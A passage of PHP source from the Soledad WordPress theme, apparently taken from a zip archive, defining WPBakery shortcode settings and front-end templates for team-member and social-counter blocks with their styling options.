			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Description typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_des_settings',
			'heading'          => esc_html__( 'Description colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Desctiption color', 'soledad' ),
			'param_name' => 'team_des_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_des_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_des_size',
			'heading'          => __( 'Font Size for Desctiption', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_des_martop',
			'heading'          => __( 'Margin top for Desctiption', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Social typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_social_settings',
			'heading'          => esc_html__( 'Social Icon Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Color', 'soledad' ),
			'param_name'       => 'team_social_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Background Color', 'soledad' ),
			'param_name'       => 'team_social_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Hover Color', 'soledad' ),
			'param_name'       => 'team_social_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Background Hover Color', 'soledad' ),
			'param_name'       => 'team_social_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_social_martop',
			'heading'    => __( 'Margin top for Social Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\X3  X3  /  js_composer/shortcodes/team_member/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';


$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$team_members = (array) vc_param_group_parse_atts( $atts['teammembers'] );

if ( ! $team_members ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class     = 'penci-block-vc penci-teammb-bsc';
$css_class     .= ' penci-teammb-' . $atts['style'];
$css_class     .= ' pencisc-grid-' . $atts['columns'];
$column_tablet = isset( $atts['columns_tablet'] ) ? $atts['columns_tablet'] : '2';
$column_mobile = isset( $atts['columns_mobile'] ) ? $atts['columns_mobile'] : '1';
$css_class     .= ' pencisc-grid-tablet-' . $column_tablet;
$css_class     .= ' pencisc-grid-mobile-' . $column_mobile;

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'team_member' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content pencisc-grid">
			<?php
			$link_target     = 'target="_blank"';
			$social_colorcss = '';
			$titpos          = isset( $atts['titpos'] ) ? $atts['titpos'] : 'default';
			$social_shape    = isset( $atts['social_shape'] ) ? $atts['social_shape'] : 'default';
			$social_style    = isset( $atts['social_style'] ) ? $atts['social_style'] : 'default';
			$social_colors   = isset( $atts['social_colors'] ) ? $atts['social_colors'] : 'default';
			if ( 'default' != $social_shape && 'default' == $social_style ) {
				$social_style = 'filled';
			}

			if ( 'brandbg' == $social_colors ) {
				$social_colorcss = ' penci-social-colored';
			} else if ( 'brandtext' == $social_colors ) {
				$social_colorcss = ' penci-social-textcolored';
			}

			$css_class .= ' pcsc-shape-' . $social_shape;
			$css_class .= ' pcsc-st-' . $social_style;

			if ( ! get_theme_mod( 'penci_dis_noopener' ) ) {
				$link_target .= ' rel="noopener"';
			}

			$title_pos = 'below';
			if ( 's1' == $atts['style'] ) {
				$title_pos = 'above';
			}
			if ( 'above' == $titpos || 'below' == $titpos ) {
				$title_pos = $titpos;
			}

			foreach ( (array) $team_members as $item ) {

				$name_item     = isset( $item['name'] ) ? $item['name'] : '';
				$desc_item     = isset( $item['desc'] ) ? $item['desc'] : '';
				$position_item = isset( $item['position'] ) ? $item['position'] : '';

				$link_website_item   = isset( $item['link_website'] ) ? $item['link_website'] : '';
				$link_twitter_item   = isset( $item['link_twitter'] ) ? $item['link_twitter'] : '';
				$link_linkedin_item  = isset( $item['link_linkedin'] ) ? $item['link_linkedin'] : '';
				$link_instagram_item = isset( $item['link_instagram'] ) ? $item['link_instagram'] : '';
				$link_dribbble_item  = isset( $item['link_dribbble'] ) ? $item['link_dribbble'] : '';
				$link_facebook_item  = isset( $item['link_facebook'] ) ? $item['link_facebook'] : '';

				$link_youtube_item   = isset( $item['link_youtube'] ) ? $item['link_youtube'] : '';
				$link_vimeo_item     = isset( $item['link_vimeo'] ) ? $item['link_vimeo'] : '';
				$link_pinterest_item = isset( $item['link_pinterest'] ) ? $item['link_pinterest'] : '';


				$url_img_item = penci_get_default_thumbnail_url();
				if ( isset( $item['image'] ) && $item['image'] ) {
					$url_img_item = wp_get_attachment_url( $item['image'] );
				}

				?>
                <div class="penci-teammb-item pencisc-grid-item">
                    <div class="penci-teammb-inner">
						<?php
						if ( $url_img_item ) {
							$dis_lazy = get_theme_mod( 'penci_disable_lazyload_layout' );
							if ( $dis_lazy ) {
								echo '<span class="penci-image-holder penci-teammb-img  penci-disable-lazy style="background-image: url(' . esc_url( $url_img_item ) . ');"></span>';
							} else {
								echo '<span class="penci-image-holder penci-teammb-img penci-lazy" data-bgset="' . esc_url( $url_img_item ) . '"></span>';
							}
						}
						?>
                        <div class="penci-team_item__info">
							<?php if ( $position_item && 'below' == $title_pos ): ?>
                                <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
							<?php endif; ?>
							<?php if ( $name_item ): ?>
                                <h5 class="penci-team_member_name"><?php echo $name_item; ?></h5>
							<?php endif; ?>
							<?php if ( $position_item && 'above' == $title_pos ): ?>
                                <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
							<?php endif; ?>
							<?php if ( $desc_item ): ?>
                                <div class="penci-team_member_desc"><?php echo $desc_item; ?></div>
							<?php endif; ?>
                            <div class="penci-team_member_socails penci-social-wrap <?php echo $social_colorcss; ?>">
								<?php if ( $link_website_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item website"
                                                                  href="<?php echo esc_url( $link_website_item ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_facebook_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item facebook-f"
                                                                  href="<?php echo esc_url( $link_facebook_item ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_twitter_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item twitter"
                                                                  href="<?php echo esc_url( $link_twitter_item ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
								<?php endif; ?>

								<?php if ( $link_linkedin_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item linkedin"
                                                                  href="<?php echo esc_url( $link_linkedin_item ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_instagram_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item instagram"
                                                                  href="<?php echo esc_url( $link_instagram_item ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_youtube_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item youtube"
                                                                  href="<?php echo esc_url( $link_youtube_item ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_vimeo_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item vimeo"
                                                                  href="<?php echo esc_url( $link_vimeo_item ); ?>"><?php penci_fawesome_icon( 'fab fa-vimeo-v' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_pinterest_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item pinterest"
                                                                  href="<?php echo esc_url( $link_pinterest_item ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_dribbble_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item dribbble"
                                                                  href="<?php echo esc_url( $link_dribbble_item ); ?>"><?php penci_fawesome_icon( 'fab fa-dribbble' ); ?></a>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
				<?php
			}

			?>
        </div>
    </div>
<?php

$id_team_members = '#' . $block_id;
$id_team_members2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_team_members, $atts );

$css_height_border = '';
if ( $atts['height_team'] ) {
	$css_height_border .= 'height:' . esc_attr( $atts['height_team'] ) . ';';
}
if ( $atts['border_width_team'] ) {
	$css_height_border .= 'border-width:' . esc_attr( $atts['border_width_team'] ) . ';';
}
if ( $atts['team_bghcolor'] ) {
	$css_height_border .= 'background:' . esc_attr( $atts['team_bghcolor'] ) . ';';
}
if ( $atts['team_borderhcolor'] ) {
	$css_height_border .= 'border-color:' . esc_attr( $atts['team_borderhcolor'] ) . ';';
}
if ( $atts['border_width_team'] ) {
	$css_custom .= $id_team_members . ' .penci-teammb-item .penci-teammb-inner{ ' . $css_height_border . ' }';
}

$css_width_height = '';
if ( $atts['width_img'] ) {
	$css_width_height .= 'width:' . esc_attr( $atts['width_img'] ) . ';';
}
if ( $atts['height_img'] ) {
	$css_width_height .= 'height:' . esc_attr( $atts['height_img'] ) . ';';
}
if ( $css_width_height ) {
	$css_custom .= $id_team_members . '.penci-teammb-s2 .penci-teammb-img,';
	$css_custom .= $id_team_members . '.penci-teammb-s1 .penci-teammb-img{ ' . $css_width_height . ' }';
}

$css_row_gap = '';
if ( $atts['row_gap'] ) {
	$css_row_gap .= 'grid-row-gap:' . esc_attr( $atts['row_gap'] ) . ';';
}
if ( $atts['col_gap'] ) {
	$css_row_gap .= 'grid-column-gap:' . esc_attr( $atts['col_gap'] ) . ';';
}
if ( $css_row_gap ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .pencisc-grid{ ' . $css_row_gap . ' }';
}

// Name
if ( $atts['team_name_color'] ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ color:' . esc_attr( $atts['team_name_color'] ) . '; }';
}
if ( $atts['team_name_martop'] ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ margin-top:' . esc_attr( $atts['team_name_martop'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_name_size'],
	'font_style' => $atts['team_name_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ %s }',
) );

// Position
if ( $atts['team_pos_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-team_member_pos{ color:' . esc_attr( $atts['team_pos_color'] ) . '; }';
}
if ( $atts['team_pos_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-team_member_pos{ margin-top:{{VALUE}}px; }', $atts['team_pos_martop'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_pos_size'],
	'font_style' => $atts['team_pos_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_pos{ %s }',
) );

// Description
if ( $atts['team_des_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-team_member_desc{ color:' . esc_attr( $atts['team_des_color'] ) . '; }';
}
if ( $atts['team_des_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-team_member_desc{ margin-top:{{VALUE}}px; }', $atts['team_des_martop'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_des_size'],
	'font_style' => $atts['team_des_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_desc{ %s }',
) );
// Social
if ( $atts['team_social_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item{ color:' . esc_attr( $atts['team_social_color'] ) . '; }';
}
if ( $atts['team_social_bgcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item{ background-color:' . esc_attr( $atts['team_social_bgcolor'] ) . '; }';
}
if ( $atts['team_social_hcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-penci-social-item:hover{ color:' . esc_attr( $atts['team_social_hcolor'] ) . '; }';
}
if ( $atts['team_social_bghcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item:hover{ background-color:' . esc_attr( $atts['team_social_bghcolor'] ) . '; }';
}
if ( $atts['team_social_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-social-item{ margin-top:{{VALUE}}px; }', $atts['team_social_martop'] );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_team_members, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\uY-  -  2  js_composer/shortcodes/social_counter/settings.phpnu [        <?php
$pmetas = array(
	'facebook'       => array(
		'label'   => __( 'Facebook', 'soledad' ),
		'default' => 'yes',
	),
	'twitter'        => array(
		'label'   => __( 'Twitter', 'soledad' ),
		'default' => 'yes',
	),
	'youtube'        => array(
		'label'   => __( 'Youtube', 'soledad' ),
		'default' => 'yes',
	),
	'instagram'      => array(
		'label'   => __( 'Instagram', 'soledad' ),
		'default' => 'yes',
	),
	'linkedin'       => array(
		'label'   => __( 'Linkedin', 'soledad' ),
		'default' => '',
	),
	'pinterest'      => array(
		'label'   => __( 'Pinterest', 'soledad' ),
		'default' => '',
	),
	'flickr'         => array(
		'label'   => __( 'Flickr', 'soledad' ),
		'default' => '',
	),
	'dribbble'       => array(
		'label'   => __( 'Dribbble', 'soledad' ),
		'default' => '',
	),
	'vimeo'          => array(
		'label'   => __( 'Vimeo', 'soledad' ),
		'default' => '',
	),
	'delicious'      => array(
		'label'   => __( 'Delicious', 'soledad' ),
		'default' => '',
	),
	'soundcloud'     => array(
		'label'   => __( 'SoundCloud', 'soledad' ),
		'default' => '',
	),
	'github'         => array(
		'label'   => __( 'Github', 'soledad' ),
		'default' => '',
	),
	'behance '       => array(
		'label'   => __( 'Behance', 'soledad' ),
		'default' => '',
	),
	'vk'             => array(
		'label'   => __( 'VK', 'soledad' ),
		'default' => '',
	),
	'tumblr'         => array(
		'label'   => __( 'Tumblr', 'soledad' ),
		'default' => '',
	),
	'vine'           => array(
		'label'   => __( 'Vine', 'soledad' ),
		'default' => '',
	),
	'steam'          => array(
		'label'   => __( 'Steam', 'soledad' ),
		'default' => '',
	),
	'email'          => array(
		'label'   => __( 'Email', 'soledad' ),
		'default' => '',
	),
	'bloglovin'      => array(
		'label'   => __( 'Bloglovin', 'soledad' ),
		'default' => '',
	),
	'rss'            => array(
		'label'   => __( 'Rss', 'soledad' ),
		'default' => '',
	),
	'snapchat'       => array(
		'label'   => __( 'Snapchat', 'soledad' ),
		'default' => '',
	),
	'spotify'        => array(
		'label'   => __( 'Spotify', 'soledad' ),
		'default' => '',
	),
	'stack_overflow' => array(
		'label'   => __( 'Stack overflow', 'soledad' ),
		'default' => '',
	),
	'twitch'         => array(
		'label'   => __( 'Twitch', 'soledad' ),
		'default' => '',
	),
	'line'           => array(
		'label'   => __( 'Line', 'soledad' ),
		'default' => '',
	),
	'xing'           => array(
		'label'   => __( 'Xing', 'soledad' ),
		'default' => '',
	),
	'patreon'        => array(
		'label'   => __( 'patreon', 'soledad' ),
		'default' => '',
	),
);

$meta_params         = array();
$profile_meta_params = array();
foreach ( $pmetas as $key => $pmeta ) {
	$meta_params[] = array(
		'type'       => 'penci_switch',
		'heading'    => $pmeta['label'],
		'param_name' => 'social_' . $key,
		'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
		'std'        => $pmeta['default'],
	);
}

$socials_profile     = penci_social_media_array();
$custom_social_icons = get_option( 'penci_custom_socials', array() );
foreach ( $socials_profile as $name => $data ) {
	$std                   = in_array( $name, array( 'facebook', 'twitter', 'youtube', 'instagram' ) ) ? 'yes' : '';
	$profile_meta_params[] = array(
		'type'        => 'penci_switch',
		'heading'     => ucwords( isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name ),
		'param_name'  => 'social_profile_' . $name,
		'true_state'  => 'yes',
		'false_state' => 'no',
		'std'         => $std,
		'dependency'  => array(
			'element' => 'source',
			'value'   => array( 'customizer' ),
		),
	);
}

vc_map(
	array(
		'base'          => 'penci_social_counter',
		'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'category'      => penci_get_theme_name( 'Soledad' ),
		'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/social_counter/frontend.php',
		'weight'        => 700,
		'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Social Counter', 'soledad' ),
		'description'   => __( 'Social Counter Block', 'soledad' ),
		'controls'      => 'full',
		'params'        => array_merge(
			Penci_Vc_Params_Helper::params_container_width(),
			array(
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Source', 'soledad' ),
					'param_name' => 'hide_count',
					'std'        => 'counter',
					'value'      => array(
						esc_html__( 'Social Counter', 'soledad' ) => 'counter',
						esc_html__( 'Customizer Social Media URL (No Counter)', 'soledad' ) => 'customizer',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Hide Counter Data & Show Social Name?', 'soledad' ),
					'param_name' => 'hide_count',
					'std'        => 'no',
					'value'      => array(
						esc_html__( 'No', 'soledad' )  => 'no',
						esc_html__( 'Yes', 'soledad' ) => 'yes',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Choose Style', 'soledad' ),
					'param_name' => 'social_style',
					'std'        => 's1',
					'value'      => array(
						esc_html__( 'Style 1', 'soledad' ) => 's1',
						esc_html__( 'Style 2', 'soledad' ) => 's2',
						esc_html__( 'Style 3', 'soledad' ) => 's3',
						esc_html__( 'Style 4', 'soledad' ) => 's4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Filled or Bordered Style?', 'soledad' ),
					'param_name' => 'fill',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Filled', 'soledad' ) => 'fill',
						esc_html__( 'Bordered', 'soledad' ) => 'border',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Shape', 'soledad' ),
					'param_name' => 'shape',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Rectangle', 'soledad' ) => 'rectangle',
						esc_html__( 'Round', 'soledad' )  => 'round',
						esc_html__( 'Circle', 'soledad' ) => 'circle',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns', 'soledad' ),
					'param_name' => 'column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns for Tablet', 'soledad' ),
					'param_name' => 'tab_column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns for Mobile', 'soledad' ),
					'param_name' => 'mobile_column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Colors Style', 'soledad' ),
					'param_name' => 'color_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Custom Color', 'soledad' ) => 'custom',
						esc_html__( 'Brands Background Color', 'soledad' ) => 'brandbg',
						esc_html__( 'Brands Icons Color', 'soledad' ) => 'brandtext',
					),
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'heading'    => esc_html__( 'Horizontal Spacing Between Social Icons', 'soledad' ),
					'param_name' => 'hospace',
					'std'        => '',
					'value'      => '',
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'heading'    => esc_html__( 'Vertical Spacing Between Social Icons', 'soledad' ),
					'param_name' => 'verspace',
					'std'        => '',
					'value'      => '',
				),
			),
			$meta_params,
			$profile_meta_params,
			array(
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'social_name_size',
					'heading'    => __( 'Icon Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'countersize',
					'heading'    => __( 'Font Size for Counter Number', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'fansize',
					'heading'    => __( 'Font Size for Fans/Like text', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'bgcl',
					'heading'    => __( 'Background Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'hbgcl',
					'heading'    => __( 'Background Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'bordercl',
					'heading'    => __( 'Border Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'borderhcl',
					'heading'    => __( 'Border Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'textcl',
					'heading'    => __( 'Icon Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'texthcl',
					'heading'    => __( 'Icon Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'countcl',
					'heading'    => __( 'Counter Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'counthcl',
					'heading'    => __( 'Counter Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'fanscl',
					'heading'    => __( '"Fans" Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'fanshcl',
					'heading'    => __( '"Fans" Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'followcl',
					'heading'    => __( '"Follow" Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'followhcl',
					'heading'    => __( '"Follow" Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Use Shadow?', 'soledad' ),
					'param_name' => 'use_shadow',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Yes', 'soledad' ) => 'yes',
						esc_html__( 'No', 'soledad' )  => 'no',
					),
				),
			),
			Penci_Vc_Params_Helper::heading_block_params(),
			Penci_Vc_Params_Helper::params_heading_typo_color(),
			Penci_Vc_Params_Helper::extra_params()
		),
	)
);
PK     0w\C%  %  2  js_composer/shortcodes/social_counter/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $source = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $hide_count = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class  = 'penci-block-vc penci-social-counter';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'social_counter' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<?php
			$css_class     = 'penci-block-vc penci-social-counter';
			$wrapper_class = 'pcsoc-wrapper';
			$social_style  = isset( $social_style ) && $social_style && in_array(
				$social_style,
				array(
					's1',
					's2',
					's3',
					's4',
				)
			) ? $social_style : 's1';
			$fill          = $fill ? $fill : 'border';
			$shape         = $shape ? $shape : 'rectangle';
			$color_style   = $color_style ? $color_style : 'custom';
			$brand_class   = $brand_class_icon = '';
			if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
				$brand_class_icon = ' pcsc-brandflag';
			} elseif ( in_array( $social_style, array( 's1', 's3' ) ) ) {
				$brand_class = ' pcsc-brandflag';
			}

			$wrapper_class .= ' pcsocs-' . $social_style;
			$wrapper_class .= ' pcsocf-' . $fill;
			$wrapper_class .= ' pcsocs-' . $shape;
			$wrapper_class .= ' pcsoccl-' . $color_style;

			if ( 's4' != $social_style ) {
				$column_default        = in_array( $social_style, array( 's3' ) ) ? '3' : '1';
				$column                = $column ? $column : $column_default;
				$tab_column_default    = in_array( $social_style, array( 's3' ) ) ? 'default' : '1';
				$mobile_column_default = in_array( $social_style, array( 's3' ) ) ? '2' : '1';
				$tab_column            = $tab_column ? $tab_column : $tab_column_default;
				$mobile_column         = $mobile_column ? $mobile_column : $mobile_column_default;
				$wrapper_class        .= ' pcsocc-' . $column;
				$wrapper_class        .= ' pcsocc-tabcol-' . $tab_column;
				$wrapper_class        .= ' pcsocc-mocol-' . $mobile_column;
			}

			if ( 'yes' == $use_shadow ) {
				$wrapper_class .= ' pcsocshadow';
			}
			?>
			<div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $source ); ?>">
				<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
				<div class="<?php echo $wrapper_class; ?>">
					<?php
					if ( 'counter' == $source ) {
						$socials = array(
							'facebook',
							'twitter',
							'youtube',
							'instagram',
							'pinterest',
							'flickr',
							'vimeo',
							'soundcloud',
							'behance ',
							'vk',
							'tiktok',
							'twitch',
							'rss',
						);

						$error = array();

						$has_data = false;

						foreach ( $socials as $social ) {


							if ( empty( $atts[ 'social_' . $social ] ) && 'yes' == $atts[ 'social_' . $social ] ) {
								continue;
							}

							$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

							$social_info_name = $social_info['name'] ?? '';

							if ( ! $social_info || ! $social_info_name ) {
								continue;
							}

							$has_data = true;
							if ( 'tiktok' === $social ) {
								$count = $social_info['count'];
							} else {
								$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
							}

							$count = $count ? $count : '';

							$social_icon     = $social_info['icon'];
							$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
							$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
							$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
							// $count = '10000';
							// $social_follower = 'Fans';
							// $social_icon = '<i class="penci-faicon fa fa-facebook"></i>';
							// $social_url = '#';
							// $social_follow = 'Like';
							?>
							<div class="pcsoc-item-wrap">
								<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?>
																		<?php
																		if ( ! $count ) {
																			echo ' empty-count';
																		}
																		?>
								" href="<?php echo esc_url( $social_url ); ?>"
									target="_blank" <?php echo penci_reltag_social_icons(); ?>>
